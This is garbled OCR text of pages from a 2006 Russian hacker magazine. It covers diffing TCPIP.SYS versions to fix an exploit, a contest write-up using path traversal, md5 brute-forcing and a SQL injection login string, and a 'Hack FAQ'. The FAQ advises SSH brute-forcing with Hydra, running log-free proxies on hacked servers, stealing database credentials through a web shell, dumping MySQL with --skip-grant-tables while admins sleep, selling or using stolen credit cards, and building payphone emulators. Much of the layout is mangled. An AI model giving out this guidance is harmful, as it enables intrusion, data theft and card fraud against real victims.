|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
Выдирание cab-архива из exe-файла в |
||
Сравнение разных версий файлов GUI- |
hiew'е'ом |
|
|
утилитой windiff |
|
|
|
|
01381D |
mov |
cl, ah |
глобальных переменных, выдавая множество лож- |
01381F |
mov |
ch, al |
ныхсрабатываний: |
013821 |
mov |
[esi+0Eh], cx |
***** new.lst |
|
|
00104B6 |
push |
dword ptr [eax] |
00104B8 |
call |
sub_2C1EB |
00104BD |
mov |
edi, eax |
***** old.lst |
|
|
00104B6 |
push |
dword ptr [eax] |
00104B8 |
call |
sub_2C10D |
00104BD |
mov |
edi, eax |
Здесь вызывается одна и та же процедура (кто не верит—можетпосмотретькодсамойпроцедуры), но утилитам сравнения этого ведь не объяснишь. Асвойсобственныйскриптписатьлень.Ктомуже обнаруживается довольно странное поведение компилятора, иногда меняющего порядок следования команд в новой версии драйвера:
Странное изменение порядка следования команд в разных версиях файлов
***** new.lst |
|
|
016C91 |
mov |
edx, ecx |
016C93 |
shr |
eax, 10h |
016C96 |
shl |
edx, 10h |
016C99 |
or |
eax, edx |
***** old.lst |
|
|
016C91 |
mov |
edx, ecx |
016C93 |
shl |
eax, 10h |
016C96 |
shr |
edx, 10h |
016C99 |
or |
eax, edx |
А ведь это еще не самое страшное! Поскольку в начале каждой строки стоит ее адрес, то при «раздвижке» одной или нескольких функций оставшаяся часть файла трактуется как «измененная»,хотявдействительностиизменилисьтолько адреса. Какой же выход? Копируем old.lst в old- 1.lst, загружаем его в FAR по <F4> и, удерживая клавишу <ALT> (вместо <SHIFT>), вертикальными блоками отрезаем все операнды инструкций и адреса, стоящие в начале строки. Аналогичную операцию проделываем и над new.lst. В результате чего получаем два симпатичных файла вида:
push
mov
call
Пропускаем их через FC с обязательным выводом номеров строк (за это отвечает ключ /N), иначе мы потомненайдемсоответствующиеимадресавold. lst/new.lst файлах, и с замиранием сердца наблюдаем за процессом. Конечно, мы получим много ложных срабатываний, уже приведенных в листинге 4. Но их очень легко отсеять чисто визуально
— меняется лишь порядок следования команд, но сам шаблон остается неизменным. А вот и первое действительноеразличие:
Реальное различие между старой и новой версией драйвера
Тожесамоепроисходитисрегистрами: |
***** old1.lst |
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
024127: |
|
mov |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Странное изменение выбора регистров в |
|
024128: |
|
cmp |
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
разных версиях файлов |
|
|
|
|
|
|
***** new1.LST |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
024127: |
|
mov |
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
***** new.lst |
|
|
|
|
|
|
|
|
024128: |
|
call |
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
01381B |
xor |
ecx, ecx |
|
|
024129: |
|
mov |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||
01381D |
mov |
ch, al |
|
|
|
024130: |
|
cmp |
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||
01381F |
mov |
cl, ah |
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
ВпрежнейверсииTCPIP.SYSникакогоcall'анебыло! |
|||||||||
013821 |
|
|
mov |
[esi+0Eh], cx |
|
||||||||||
|
|
|
|
|
|
|
|
А ну-ка заглянем в дизассемблерный текст, открыв |
|||||||
***** old.lst |
|
|
|
|
|
|
|
|
|||||||
|
|
|
old.lst/new.lst файлы и перейдя к строке 24127. |
||||||||||||
01381B |
xor |
ecx, ecx |
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Исследование IP-пакетов, отправляемых exploit'ом
Сравнение дизассемблерных листингов двух версий TCPIP.SYS
01DF18 |
mov d,[esi+20h], 1988Bh |
|
mov d,[esi+20h], 1988Bh |
01DF1F |
call PsGetCurrentProcessId |
|
call PsGetCurrentProcessId |
01DF24 |
mov [esi+28h], eax |
|
mov [esi+28h], eax |
|
call PsGetCurrentProcessId |
|
mov [esi+2Ch], eax |
01DF27 |
cmp [ebp+NewIrql], 2 |
|
cmp [ebp+NewIrql], 2 |
01DF2B |
mov [edi+8], esi |
|
mov [edi+8], esi |
01DF2E |
jbe short loc_1DF40 |
jbe short loc_1DF48
01DF30 |
push asc_1DE7C; "Lock problems!!\n" |
|
push asc_1DE7C;"Lock problems!!\n" |
01DF35 |
call DbgPrint |
|
call DbgPrint |
01DF3A |
pop ecx |
|
pop ecx |
01DF3B |
call DbgBreakPoint |
|
call DbgBreakPoint |
В старой версии драйвера был только один вызов PsGetCurrentProcessId, и переменная [esi+2Ch] оставалась неинициализированной. Теперь это исправлено. Аналогичным путем находятся и другие различия. Признайтесь, разве это неинтересно — узнать, что же реально исправила Microsoft и где находится источник про- блемы.Проанализировавситуацию,мывсе-таки сможемисправитьexploit,заставивегоработать (копия экрана, подтверждающая это, приводится ниже — по понятным соображениям, исправленный exploit не распространяется, во всяком случае, до тех пор, пока большинство пользователей не почешутся обновить свою систему).
Рекомендуется прочитать руководство «How to: Harden the TCP/IP Stack»: msdn.microsoft. com/library/default.asp?url=/library/en-us/ dnnetsec/html/HTHardTCP.asp; а также ознакомиться с информацией о двух других дырах в TCP/IP-драйвере, допускающих выполнение shell-кода: securityfocus.com/bid/18325 и securityfocus.com/bid/18374. z
/ 054 |
XÀÊÅÐ 08 /92/ 06 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
t |
|
|
||
|
F |
|
|
|
|
|
|
|
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
m>> взлом |
||||
w Click |
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/ КОНКУРС
BLOODEX
/ BLOODEX@REAL.XAKEP.RU /
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
СТАРТУЮЩИЙ КОНКУРС БУДЕТ СОСТОЯТЬ ИЗ НЕСКОЛЬКИХ ЭТАПОВ. ПРИЧЕМ ПЕРВЫЙ ЭТАП УКАЖЕТ ТЕБЕ ПУТЬ К ОСТАЛЬНЫМ. БОЛЬШЕ НИЧЕГО ГОВОРИТЬ НЕ БУДУ — ЗАХОДИ 20-ГО ЧИСЛА НА FORUM.XAKEP.RU . А Я ПОКА РАССКАЖУ, КАК ПРОШЕЛ ПРЕДЫДУЩИЙ КОНКУРС.
Помнишь счетчик посещений на главной странице? Это картин-
ка visit.php?dir=&img=visit.png.
Когда заходишь на страницу первый раз, скрипт добавляет «.» перед именем картинки и напрямую выводит ее контент. Что получится, если мы натянем на браузер прокси и вызовем visit.php?dir=downloads/ &img=htpasswd? Верно, получим / downloads/.htpasswd, который брутим по алгоритму md5. Когда компьютер выдумает верный пароль, мы сможем использовать его, чтобы скачать клиент. Но с
клиентом нас поджидает облом, так как без лицензионного ключа прога пахать не будет. Ну и пусть, все равно можно и без него обойтись. Просто сканим порты на серваке, находим 79-й порт и телнетимся к нему. Только вот непонятно, какие команды надо вводить, чтобы демон не ругался. Одну команду берем из ресурсов прогиклиента, другую — со скриншота. Итого две команды: «connect p2p» и «post file d:\ private\keys». До остальных допираем сами, кнопки в проге — подсказки. В общем, чтобы украсть файл, нужно вводить примерно
следующие команды:
Connect p2p
Login a;’ or login=’sosiska
Post file d:\private\keys
Get file d:\private\keys
Обративнимание,чтововторойстрочкенаходится mysql-injection. Если ты выполнил все правильно, файл с ключами — у тебя в руках. Ïервым конкурс прошел Дмитрий «xbid». Вручаем счастливцу крутую видяху MSI NX6800GS. z
XÀÊÅÐ 08 /92/ 06 |
/ 055 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
СТРОЙКОВ ЛЕОНИД AKA R0ID
Hack/ R0ID@BK.RU / FAQ
r0id@bk.ru
Q: Испробовал много брутфорсов, но ни один из них не хочет перебирать пароли по SSH. Написано, что в Hydra такая возможность есть, но при запуске переборщика он ругается на какой-то модуль. Что посоветуешь?
A: Ответ очевиден: поставить этот модуль :). На самом деле, чтобы переборщик не ругался, надо установить библиотеку libssh (http:/ /0xbadc0de.be/libssh/libssh-0.11.tgz), а затем при конфигурации Гидры добавить флаг --enable-libssh. Стартуем по-новому и видим, что все работает как надо!
Q: Начал писать свой собственный движок на PHP. Все нормально, но при изменении значений некоторых параметров скрипт сильно ругается. Кроме раскрытия установочных путей, это ничем не грозит, однако все же хочется, чтобы движок работал идеально. Можно ли как-нибудь отключить контроль ошибок в PHP?
A: Чтобы включить отображение ошибок, в файле php.ini необходимо найти параметр error_reporting и изменить его значение на E_ALL. Функция error_reporting устанавливает уровень отображения ошибок. Если в качестве параметра указать E_ALL, то будут отображаться все предупреждения и сообщения. Чтобы отключить сообщения в конкретном сценарии, нужно написать в его начале следующую строку: error_reporting(E_ALL - (E_NOTICE + E_WARNING));
Если требуется изменить уровень отображения ошибок для всего сервера, то следует отредактировать одноименный параметр в файле php.ini. В этом же файле можно найти возможные варианты уровней. В случае, когда тебе необходимо, чтобы конкретная функция не отображала ошибок, перед ее именем нужно поставить символ @, например @fopen(). Хочу сразу сказать, что в готовом движке не должно быть никаких сообщений об ошибках, так как это существенно упрощает работу атакующих.
Q: В последнее время в сети появилось много кидал. Некоторые из моих знакомых пострадали. Как обезопасить себя от «кидков»?
A: Данный вопрос волнует почти всех, кто так или иначе работает в сети. Бывает, что пытаются кинуть не на деньги, а на товар (картон, аккаунты и т.д.). Как защитить себя? Во-первых, старайся работать с проверенными людьми, создавай свою клиентуру с сотрудничеством на постоянной основе. Во-вторых, не пренебрегай услугами гаранта. Как правило, сделки до $500 идут под 5-7%, а свыше $500 — под 3%, на некоторых закрытых форумах услуги гарантапредоставляютсяподсовсемнизкихпроцент
— менее 3%. Так что выбирай и помни: скупой платит дважды. Кроме того, если ты не уверен в клиенте/партнере, то можешь пробить его ник/ асю по базе рипперов. Хорошая онлайн-база
кидал — www.kidala.info. Есть и специальный icq-бот (455506). В своей мессаге достаточно указать интересующую тебя асю или ник, после чего бот вернет ответ. Ну а если так получилось, что тебя все же кинули, то обязательно добавь риппера в базу кидал — этим ты предупредишь других людей.
Так что будь осторожен и внимателен. Удачной работы!
Q: Анонимность в сети для меня является одним из основных вопросов. Но после нескольких случаев с утечкой логов на крупных сокс-сервисах я стал реально опасаться за свою безопасность. Один из моих знакомых, сказал, что лучший вариант — поднять собственный сокс/впн на поломанном сервере. Расскажи подробнее.
A: Вполне понимаю твои опасения. Доверять можно только себе. Поэтому действительно хороший вариант — поднятие собственного сокса. Темболеечтосделатьэтонетакужитрудно.Тебе будет нужен шелл (хватит даже минимальных прав) и софт. Рекомендую использовать bouncer или 3proxy. Первый существует в трех версиях: под Windows, Linux и FreeBSD. Bouncer не нужно компилировать — это готовый бинарник, он не требует специальных привилегий на сервере, кроме открытия порта, а все параметры запуска предельно понятны. Я сам использую данную софтину на нескольких серверах и полностью ей доволен.3proxyтыможешьнайтинаsecurity.nnov. ru, там же находится и хелп. Данная программа требуеткомпиляциииобладаетдостаточнобольшим количеством настроек. Запись логов можно отключить, указав, например, /dev/null.
/ 056 |
XÀÊÅÐ 08 /92/ 06 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
|
m |
// |
||||||
to |
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
HACK FAQ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
Q: Раньше при взломе использовал www.domainsdb.net для просмотра доменов, находящихся на сервере хостера. Сейчас сервис недоступен. Не знаю, что и делать. Есть ли альтернатива domainsdb.net?
A: Увы, но сервис действительно закрыт. Причина столь безрадостного события мне не из- вестна.Ноподозреваю,чтокому-топроектявно мешал. На данный момент существует аналог ресурса — www.domaintools.com. После регистрации там доступна функция реверса IP, которая позволяет просмотреть список сайтов, принадлежащих определенному IP-адре- су. Кроме того, если верить слухам, то одна из андеграунд-команд собирается создать свой аналогичный сервис. Подробности пока не ясны, но, возможно, появится достойная замена domainsdb.net.
Q: У меня постоянная проблема: сливаю какой-нибудь сплоит, например, с securitylab.ru или с сайтов хак-групп, но он отказывается работать! Делаю все правильно, запускаю с нужными параметрами, но постоянно появляются ошибки. Что я делаю не так?
A: Очень распространенная проблема среди новичков. Причин может быть несколько, поэтому обо всем по порядку.
1.Возможно, ты слил не сам сплоит, а его фейк (подделку). Увы, но такие случаи нередки. Бывает так, что продают якобы 0day exploits, а на самом деле — это всего лишь его фейк. Как защитить себя от кидал, читай выше. Но иногда на сайтах хак-групп появляются «сенсационные» сплоиты(насамомделе—фейки).Какправило, это делается с целью повышения авторитета команды, хотя обман достаточно быстро раскрывается. Так что смотри, откуда ты берешь сплоит.
2.Следующая возможная причина — ошибки в коде эксплоита. Здесь может быть два варианта: либо это случайные ошибки, допущенные в силу форс-мажорных обстоятельств, либо
— намеренные, созданные программистами с целью ограничить число людей, использующих сплоит. Для примера рассмотрим эксплоит под форум IPB <= 2.1.4. В его коде была сделана ошибка, о которой в «Хакере» уже писали. Необходимо было лишь правильно объявить переменную — и сплоит становился пригоден к использованию. Одним словом, «защита от дурака», которых сейчас хватает.
3.Еще один источник проблем — недописанный сорец сплоита. У многих команд сущес-
твуют свои наработки, которыми они время от времени делятся с общественностью. Если ты слил именно сырую версию эксплоита, то можешь или доработать ее сам, или подождать, пока выйдет официальный релиз.
Я перечислил самые распространенные причины. Но хотел бы сказать, что не стоит опускаться до уровня скрипткидисов, зацикливаясь на использовании чужих сплоитов. Ищи уязвимости сам, пиши свои релизы, а главное — думай, прежде чем что-либо делать. Удачи!
Q: Планирую заняться изготовлением эмулятора для таксофона, но слышал от знакомых, что в автоматах встраивают хитрую защиту на предмет вывода проводов из картоприемника. Правда ли это?
A: На 100% утверждать не могу, но пару лет назад я паял эмулятор — и тогда таксофон кушал карточку за милую душу. Да и сейчас защиты, скорее всего, нет, потому как происходило бы незапланированное срабатывание, например, на наручные часы или мобильный телефон, в котором ты ищешь номер. Кстати, могу тебе посоветовать заглянуть в сообщество http:// community.livejournal.com/ru_radio_electr, где можно почерпнуть много информации по теме изадатьинтересующиетебявопросы.Конкретно описание таксофонного эмулятора находится тут: http://community.livejournal.com/ru_radio_ electr/6288.html.
Q: Совершенно случайно нашел базу кредитных карт одного буржуйского интернет-магазина. Что примечательно, карты пока не просрочены. Что с ними можно сделать?
A: Самое лучшее решение — удалить :). Ибо кардинг — это плохо и наказуемо. А вообще, можно продать базу за неплохие деньги (если она большая) распространителям картона (их ищинасоответствующихфорумах).Ещеможно самомувбитькартондляпокупкикакого-нибудь товара или софта в интернет-магазах. Но предварительно рекомендую проверить карту на валидность. Это делается при помощи специальных сервисов или на обычном порносайте, который предоставит логин и пароль при правильных данных.
Q: Недавно получил веб-шелл на одном из серверов. Права — nobody, но часть директорий доступна для чтения. Очень хочется взглянуть на БД, но нет
ни логина, ни пасса. Пароли от фтп не подходят. Что делать?
A: Искать логин и пароль к базе. Если на чтение доступны директории пользователей и хватает прав на чтение файлов — ищи файлы такого типа: config.php, config.pl, conf.php, db.php, auth.php, login.pl и т.д. Из них можно почерпнуть информацию для доступа к БД, например:
db_host = localhost db_user = user
db_name = data_base_user db_password = qwerty
То есть логин — user, пароль — qwerty, хост — localhost, база — data_base_user. Коннектишься и делаешь дамп базы data_base_user. Если тебе повезет, то, возможно, твоих прав хватит на просмотр всех баз. Что делать в этом случае, я думаю, ты разберешься.
Q: А что делать, если у меня есть рут, но нет доступа к MySQL? Как мне получить все базы?
A: Есть два пути: либо ты сливаешь все dataфайлы нужных тебе баз (например, из /usr/lib/ mysql/data), ставишь на своем шелле MySQL, заливаешь в свой data-каталог украденные базы и смотришь их через собственный клиент. Однако версия твоей и удаленной СУБД должна совпадать. Второй путь проще, и мы не раз писали его реализацию: убиваешь MySQLD и запускаешь снова с параметром --skip-grant- tables. Затем сливаешь добро mysqldump’ом, войдя под root’ом без пароля, и перезапускаешь процесс в обычном режиме. Этот прием целесообразно делать глубокой ночью и в отсутствие бдящих администраторов :).
Q: Меня заразили трояном, и я никак не могу от него избавиться :(. Трой находится в файле c:\windows\system\ ntkernel32.exe, и я не могу его удалить. Ни антивирус, ни попытки убить вирь в Safe Mode проблему не решили. Винду сносить тоже не хочется. Что можешь посоветовать?
A: Вирмейкеры стали умнее и защищают свои троянчики самими изощренными способами. Но мы тоже не лыком шиты. Во-первых, попробуй переименовать файл или записать в него любой мусор. Если удастся — активность вируса пропадет (возможно, после перезагрузки ты сможешь и удалить его). Не получается? Тогда грузись с установочного диска в консоль и уда- ляйоттуда.Еслидажеиэтоневыходит—приоб- рети Live CD любого Linux-дистрибутива, загрузи его, примонтируй Win-систему — и навсегда распрощаешься с заразой! z
/ 057
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
КРИС КАСПЕРСКИ
МЕТОДЫ ДОБЫЧИ СЛУЖЕБНОЙ ИНФОРМАЦИИ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
ПРОМЫШЛЕННЫЙ ШПИОНАЖ СУЩЕСТВУЕТ — ЭТО ФАКТ. И ЗАНИМАЮТСЯ ИМ НЕ ТОЛЬКО (И НЕ СТОЛЬКО) КРАСАВЧИКИ ВРОДЕ ДЖЕЙМСА БОНДА, НО И ПРОСТЫЕ ХАКЕРЫ, ПРАКТИЧЕСКИ НИКОГДА НЕ ВЫХОДЯЩИЕ ИЗ ДОМА И ВСЕ ДЕЙСТВИЯ ОСУЩЕСТВЛЯЮЩИЕ ЧЕРЕЗ СЕТЬ. ИНОГДА — ИЗ ЛЮБОПЫТСТВА, ИНОГДА — ИЗ НЕОБХОДИМОСТИ ИЛИ ЖЕЛАНИЯ ПОДЗАРАБОТАТЬ. СТАТЬ ШПИОНОМ МОЖЕТ КАЖДЫЙ, ПРИЧЕМ СОВЕРШЕННО НА ЗАКОННЫХ ОСНОВАНИЯХ!
Мир очень сильно изменился за последний |
даже если выкрасть самый передовой образец, |
То есть, если технология не запатентована и |
десяток лет, а вместе с ним изменились цели и |
то за время «проектирования наоборот» чужая |
удерживается в секрете, всякий кому удастся |
задачи промышленного шпионажа. Уже никто |
инженерная мысль уйдет далеко вперед, а мы |
ее раздобыть (например, путем шпионажа или |
не делает секрета из сроков выхода новых про- |
останемся с носом :). К тому же в СССР все ук- |
обратного проектирования) может беспре- |
дуктов или их потребительских характеристик, |
раденное у Запада считалось общенародным |
пятственно пользоваться ею. Напротив, если |
как это было во времена ранней молодости MS- |
достоянием, и на патенты никто не обращал |
технология запатентована, то она доступна для |
DOS, разработчикам которой так и не позволи- |
внимания. |
ознакомления всем желающим (для этого даже |
ли увидеть прототип IBM PC. |
|
не придется ничего платить — тексты патентов |
Допустим, шпионы смогли выкрасть весь ком- |
О патентах, корпорациях и NDA |
свободно выложены в сети). Но... любая форма |
плект документации или хотя бы сам образец, |
Сейчас же влияние американских корпораций |
практического применения (не важно коммер- |
но... что с ним делать? Без соответствующей ин- |
на весь прилагающий к ним мир таково, что вы- |
ческая или нет) требует наличия лицензии от |
фраструктуры и «носителей знаний» — инже- |
пускать продукцию, уклоняясь от лицензирова- |
владельца патента, который в праве запросить |
неров, держащих в голове все детали проекта, |
ния патентованных технологий, можно только в |
за нее любые деньги или просто отказать в ли- |
— это просто кипы бумаги и груда металла, на |
китайском подвале, да и то лишь до того момен- |
цензировании по «политическим» или марке- |
разбор которого уйдет практически столько же |
та, пока правообладатель не составит исковое |
тинговым соображениям. |
времени, сколько на независимую разработку. |
заявление в суд, что полностью обессмысли- |
Все, что не патентуется (например, исходные |
Шпионаж и переход на копирование западных |
вает промышленный шпионаж, поскольку суть |
текстыпрограмм)можетбытьполученоподNDA |
технологий в конечном счете привел к развалу |
патентования заключается в раскрытии техно- |
(аналог нашей «подписки о неразглашении»), |
отечественной вычислительной техники, ведь |
логии в обмен на монопольное право владения. |
легкость получения которой просто поражает |
/ 058 |
XÀÊÅÐ 08 /92/ 06 |